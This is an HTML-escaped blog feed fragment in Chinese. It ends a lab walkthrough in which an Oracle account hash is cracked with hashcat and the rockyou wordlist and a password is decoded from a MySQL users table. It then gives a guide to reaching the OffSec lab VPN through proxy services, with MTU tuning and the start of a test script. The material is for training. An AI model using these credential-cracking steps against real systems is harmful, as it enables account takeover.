&lt;h2 id="其他玩法"&gt;其他玩法
&lt;/h2&gt;&lt;h3 id="oracle账户"&gt;Oracle账户
&lt;/h3&gt;&lt;p&gt;之前发现有Oracle账户的哈希，尝试爆破。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; orcalhash 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 粘贴下面的内容，按 Ctrl D结束&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;oracle:&lt;span class="nv"&gt;$1&lt;/span&gt;$&lt;span class="p"&gt;|&lt;/span&gt;O@GOeN&lt;span class="se"&gt;\$&lt;/span&gt;PGb9VNu29e9s6dMNJKH/R0:1004:1004:,,,:/home/oracle:/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /usr/share/wordlists 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;sudo gzip -d rockyou.txt.gz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250716225524616" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716225524616.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; hashcat orcalhash /usr/share/wordlists/rockyou.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;爆破密码得到是&lt;code&gt;hiphop&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716230127265" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716230127265.png"&gt;&lt;/p&gt;
&lt;p&gt;可以直接从www-data账户直接&lt;code&gt;su oracle&lt;/code&gt;进入账户，但是好像没啥有用的。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716230611853" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716230611853.png"&gt;&lt;/p&gt;
&lt;h3 id="harry账户"&gt;Harry账户
&lt;/h3&gt;&lt;p&gt;在Karla账户或root账户下执行&lt;code&gt;sudo mysql&lt;/code&gt;进入数据库。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;show&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;databases&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;db1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;show&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tables&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250716231855614" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716231855614.png"&gt;&lt;/p&gt;
&lt;p&gt;解码一下得到密码是123456&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716232108225" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716232108225.png"&gt;&lt;/p&gt;
&lt;p&gt;但是好像也没啥用。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716232320864" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716232320864.png"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled="" type="checkbox"&gt; 遗憾：没找到Sllay的密码。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>【踩坑总结】丝滑连接OffSec官方VPN的方法</title><link>https://ruajingjing.top/post/kali%E4%B8%9D%E6%BB%91%E8%BF%9E%E6%8E%A5offsec%E5%AE%98%E6%96%B9%E7%9A%84%E6%96%B9%E6%B3%95/</link><pubDate>Wed, 16 Jul 2025 16:45:31 +0000</pubDate><guid>https://ruajingjing.top/post/kali%E4%B8%9D%E6%BB%91%E8%BF%9E%E6%8E%A5offsec%E5%AE%98%E6%96%B9%E7%9A%84%E6%96%B9%E6%B3%95/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post 【踩坑总结】丝滑连接OffSec官方VPN的方法" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;方法对比&lt;/th&gt;
 &lt;th&gt;难度&lt;/th&gt;
 &lt;th&gt;流畅度&lt;/th&gt;
 &lt;th&gt;靶机VPN是否双端&lt;/th&gt;
 &lt;th&gt;流量消耗&lt;/th&gt;
 &lt;th&gt;稳定性&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;方法一：Tun模式&lt;/td&gt;
 &lt;td&gt;⭐⭐&lt;/td&gt;
 &lt;td&gt;340ms&lt;/td&gt;
 &lt;td&gt;仅Kali&lt;/td&gt;
 &lt;td&gt;大&lt;/td&gt;
 &lt;td&gt;好&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;方法二：允许局域网&lt;/td&gt;
 &lt;td&gt;⭐⭐⭐&lt;/td&gt;
 &lt;td&gt;190ms&lt;/td&gt;
 &lt;td&gt;Win、Kali双端&lt;/td&gt;
 &lt;td&gt;小&lt;/td&gt;
 &lt;td&gt;差&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;方法三：Kali中单独登机&lt;/td&gt;
 &lt;td&gt;⭐⭐⭐&lt;/td&gt;
 &lt;td&gt;200ms&lt;/td&gt;
 &lt;td&gt;仅Kali&lt;/td&gt;
 &lt;td&gt;中&lt;/td&gt;
 &lt;td&gt;好&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;

 &lt;blockquote&gt;
 &lt;p&gt;流畅度测试命令 ping IP -c 10 |grep rtt&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="方法一物理机登机场开tun模式kali虚拟机连接靶机vpn"&gt;方法一：物理机登机场开Tun模式，Kali虚拟机连接靶机VPN
&lt;/h2&gt;&lt;p&gt;找个机场订阅，需要登机方式的可以后台私信我。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714100539961" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714100539961.png"&gt;&lt;/p&gt;
&lt;p&gt;点击左边的“代理”，点击“全局”，设置为全局模式，点击Traffic自动选择最快的节点，考试时候建议手动选择下面有地名的节点，一开始选的哪一个，只选那个，不要换节点，可能会因为节点异地登录引起麻烦。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714100703533" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714100703533.png"&gt;&lt;/p&gt;
&lt;p&gt;点击左侧“设置”按钮，打开Tun模式和服务模式，红框里面的建议都打开，其他按钮不要动。服务模式的小盾牌点一下，安装一个组件，没有装的装一下。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714101015098" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714101015098.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714101324318" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714101324318.png"&gt;&lt;/p&gt;
&lt;p&gt;除了Clash小猫咪软件，也可以使用V2rayN软件特定版本的tun模式，不要使用新版，新版的tun不稳定。&lt;/p&gt;
&lt;p&gt;此时进入Kali虚拟机，查询一下自己的出口节点，确实是机场的节点了，而且ping谷歌的速度也比较快，就说明翻过去了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714130005840" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714130005840.png"&gt;&lt;/p&gt;
&lt;p&gt;下载Kali官方的VPN，复制到Kali虚拟机中。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714101517858" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714101517858.png"&gt;&lt;/p&gt;
&lt;p&gt;然后在Kali中使用以下命令连接Kali靶机的VPN。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo openvpn universal.ovpn
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250714103115235" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714103115235.png"&gt;&lt;/p&gt;
&lt;p&gt;然后用&lt;code&gt;ifconfig&lt;/code&gt; 命令能发现多出来的网卡。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714114334045" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714114334045.png"&gt;&lt;/p&gt;
&lt;p&gt;使用如下命令设置以下速率，来保证VPN的传输稳定，如果你的机场够快，下面的命令也可以不设，默认的1500速度也一样的。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo ip link &lt;span class="nb"&gt;set&lt;/span&gt; dev tun0 mtu &lt;span class="m"&gt;1250&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ip link show tun0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250714130244569" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714130244569.png"&gt;&lt;/p&gt;
&lt;p&gt;靶场漏端口的情况和机场连接的速度有关，测试下来的经验：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;极速机场：便宜，拖Docker镜像确实极速，但是干别的不行，Kali的VPN都连不上。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;龙猫机场：价格中等，拖Docker镜像有点慢，综合来说干什么都可以，就是都有点慢，能连Kali的VPN，但是扫端口略慢。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Flower机场：价格是龙猫的两倍，速度很快，连Kali的VPN很丝滑，推荐考试使用。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;一元机场：白菜价，巨慢，疑似跑路了，节点没几个活的了。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;自建专线机场：包机，很快，但是也贵，速度看机场在哪里，建议买香港节点，连Kali的VPN很丝滑，推荐考试使用。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;总结：这个方法最简单也最直接，但是tun+全局模式会让所有流量都走的机场代理，对于机场流量&lt;strong&gt;消耗巨大&lt;/strong&gt;。还有就是某些国内网站从国外地址翻进来访问也是很慢很慢。&lt;/p&gt;
&lt;h2 id="方法二物理机登机场允许局域网连接修改universalovpn开头"&gt;方法二：物理机登机场允许局域网连接，修改universal.ovpn开头
&lt;/h2&gt;&lt;p&gt;代理规则组依旧是选择全局代理。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714150313710" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714150313710.png"&gt;&lt;/p&gt;
&lt;p&gt;系统设置上关闭Tun模式，关闭服务模式，打开“局域网连接”&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714150217008" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714150217008.png"&gt;&lt;/p&gt;
&lt;p&gt;注意看端口用的时哪一个，这里用的时&lt;code&gt;7897&lt;/code&gt;。修改官网下载的VPN文件，在首行加入代理地址&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socks-proxy 127.0.0.1 &lt;span class="m"&gt;7897&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250714154041525" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714154041525.png"&gt;&lt;/p&gt;
&lt;p&gt;然后再物理机Windows中直接导入OpenVPN GUI软件中，再Windows上连接VPN。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714151004069" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714151004069.png"&gt;&lt;/p&gt;
&lt;p&gt;VPN软件中设置代理为“使用配置文件中的设置”&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714151309853" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714151309853.png"&gt;&lt;/p&gt;
&lt;p&gt;选中VPN名称后右键打开选项，点击连接即可。第一次连接后有概率会重连或断开一次，再次点击重新连接即可。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714151157315" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714151157315.png"&gt;&lt;/p&gt;
&lt;p&gt;WIndows下打开也可以看靶机，Kali下也可以。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714152056842" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714152056842.png"&gt;&lt;/p&gt;
&lt;p&gt;Windows和Kali上的速率相差不大。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714152428369" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714152428369.png"&gt;&lt;/p&gt;
&lt;p&gt;但是使用Nmap有概率扫漏端口。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714153438608" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714153438608.png"&gt;&lt;/p&gt;
&lt;p&gt;直接请求的话，还是能请求的。但是连接不稳定，即使物理机到虚拟机的网络设置了不限速，但是再Kali中扫描靶机还是很慢。还有概率断线。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714153727717" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714153727717.png"&gt;&lt;/p&gt;
&lt;h2 id="方法三kali中用v2rayn命令行连接kali直连vpn"&gt;方法三：Kali中用V2rayN命令行连接，Kali直连Vpn
&lt;/h2&gt;&lt;p&gt;安装V2rayN的Linux版本，复制机场信息到Kali中，在Kali中登录VPN。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714173555122" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714173555122.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714173907199" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714173907199.png"&gt;&lt;/p&gt;
&lt;p&gt;扫描端口也不掉包的。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714174349207" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714174349207.png"&gt;&lt;/p&gt;
&lt;h2 id="命令参数之间的配合"&gt;命令参数之间的配合
&lt;/h2&gt;&lt;p&gt;如果mtu速度、机场速度和Nmap等命令参数配合的不对，可能出现以下情况&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;一扫就是一堆&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20250714120210543" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714120210543.png"&gt;&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;端口漏扫&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20250714120254314" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714120254314.png"&gt;&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;扫的很慢，半天没有反应。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;每个人的网络环境不一样，带宽和速度不一样，使用Wifi和使用网线的稳定性和速率也不一样。所以同样的命令参数，别人能用但不代表你的网络环境能用。建议考试时，提前测试考试地点的网络环境或者使用之前练习时候的场景即可。尽量保证网络最优，不要因为漏扫某个关键端口而出现打不进去的情况。如果你怀疑你的网络有问题，建议使用官方网页的My Kali再次验证一下，以官方My Kali的扫描结果为准。&lt;/p&gt;
&lt;p&gt;下面是一些网络优化的建议：&lt;/p&gt;
&lt;h3 id="自动mtu测试脚本"&gt;自动MTU测试脚本
&lt;/h3&gt;&lt;p&gt;将以下脚本保存为&lt;code&gt;mtu-test.sh&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 自动化MTU测试脚本 - 支持自定义参数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 默认参数配置&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;DEFAULT_TARGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;192.168.116.72&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;QUICK_START&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1472&lt;/span&gt; &lt;span class="c1"&gt;# 快速测试起始值&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;QUICK_END&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1200&lt;/span&gt; &lt;span class="c1"&gt;# 快速测试结束值&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;QUICK_STEP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;-10 &lt;span class="c1"&gt;# 快速测试步长&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;FULL_START&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1472&lt;/span&gt; &lt;span class="c1"&gt;# 完整测试起始值&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;FULL_END&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;500&lt;/span&gt; &lt;span class="c1"&gt;# 完整测试结束值&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;FULL_STEP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;-5 &lt;span class="c1"&gt;# 完整测试步长&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;TUNNEL_OVERHEAD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;40&lt;/span&gt; &lt;span class="c1"&gt;# 默认隧道包头开销(字节)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 帮助信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt;show_help&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;用法: &lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="s2"&gt; [选项]&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;选项:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; -t &amp;lt;IP地址&amp;gt; 指定测试目标 (默认: &lt;/span&gt;&lt;span class="nv"&gt;$DEFAULT_TARGET&lt;/span&gt;&lt;span class="s2"&gt;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; -f 使用完整测试范围 (默认使用快速范围)&amp;#34;&lt;/span&gt;
